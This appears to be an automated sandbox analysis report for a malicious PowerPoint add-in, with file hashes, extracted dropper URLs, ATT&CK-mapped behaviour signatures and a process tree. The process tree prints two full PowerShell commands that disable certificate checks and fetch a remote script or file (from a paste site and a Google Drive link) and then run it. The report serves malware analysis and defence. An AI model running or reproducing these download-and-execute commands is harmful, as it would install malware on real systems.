516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4

General

Target

516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4.ppam
Size

15KB
MD5

2f5518eab74b27def099fa3fadb06b5d
SHA1

3676f4c0457e6bbf3f343a7222937995ba4c3518
SHA256

516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4
SHA512

07bbad84bc499dcb36210260ea3536b064cec1a08d92d90eae06f98f399d7710b248f48085a4017fd44f2ba7b4cee5f973e327719ba69d1af06afbc16d3b53b4
SSDEEP

384:dXPEeBSzKuCjIOIxvTNRX/GC+p/RU3Af7CRRWiwJM:VPEeByCje3RX/spZU3ADCfWip

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pt.textbin.net/download/x7sf6t2dgv

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	5052	804	powershell.exe	82
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3484	804	powershell.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	5052	powershell.exe
22	3484	powershell.exe
28	3484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5052	powershell.exe
3484	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	drive.google.com
22	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
804	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5052	powershell.exe
3484	powershell.exe
5052	powershell.exe
3484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
804	POWERPNT.EXE
804	POWERPNT.EXE
804	POWERPNT.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 804 wrote to memory of 5052	804	POWERPNT.EXE	86
PID 804 wrote to memory of 5052	804	POWERPNT.EXE	86
PID 804 wrote to memory of 3484	804	POWERPNT.EXE	87
PID 804 wrote to memory of 3484	804	POWERPNT.EXE	87
PID 5052 wrote to memory of 212	5052	powershell.exe	91
PID 5052 wrote to memory of 212	5052	powershell.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$UmniN;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/x7sf6t2dgv' ) ;$UmniN = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$UmniN | Out-File -FilePath 'x.js' -force ;wscript.exe x.js ; exit
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" x.js
    3⤵
    PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$UmniN;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
51aa87521f685fa8d4f4bdbd7684a350

SHA1
fd4027d9b24c41461525b0f3f764aa6b2ddd5803

SHA256
6e9453d9cff64f88f0a0b0b5cda807f7deac354120724137e7426871401ea0d6

SHA512
637f0b4c94abb0bcf0bbf21ec2d328eccbf1bd6a37c5dbd309cd428f5aaab08d0f6102a8f45c09372fba57c034fc88ed7950c9afe366583cd5f636ee0b974947

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p3u03mfu.3su.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\x.js

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/804-7-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-63-0x00007FFFF872D000-0x00007FFFF872E000-memory.dmp

Filesize
4KB

Download
memory/804-5-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-0-0x00007FFFB8710000-0x00007FFFB8720000-memory.dmp

Filesize
64KB

Download
memory/804-8-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-9-0x00007FFFB5E60000-0x00007FFFB5E70000-memory.dmp

Filesize
64KB

Download
memory/804-10-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-11-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-12-0x00007FFFB5E60000-0x00007FFFB5E70000-memory.dmp

Filesize
64KB

Download
memory/804-18-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-22-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-25-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-71-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-67-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-3-0x00007FFFB8710000-0x00007FFFB8720000-memory.dmp

Filesize
64KB

Download
memory/804-6-0x00007FFFB8710000-0x00007FFFB8720000-memory.dmp

Filesize
64KB

Download
memory/804-4-0x00007FFFB8710000-0x00007FFFB8720000-memory.dmp

Filesize
64KB

Download
memory/804-2-0x00007FFFB8710000-0x00007FFFB8720000-memory.dmp

Filesize
64KB

Download
memory/804-66-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-1-0x00007FFFF872D000-0x00007FFFF872E000-memory.dmp

Filesize
4KB

Download
memory/804-64-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/804-65-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/3484-58-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/3484-26-0x00007FFFF8690000-0x00007FFFF8885000-memory.dmp

Filesize
2.0MB

Download
memory/5052-32-0x000001FABA880000-0x000001FABA8A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads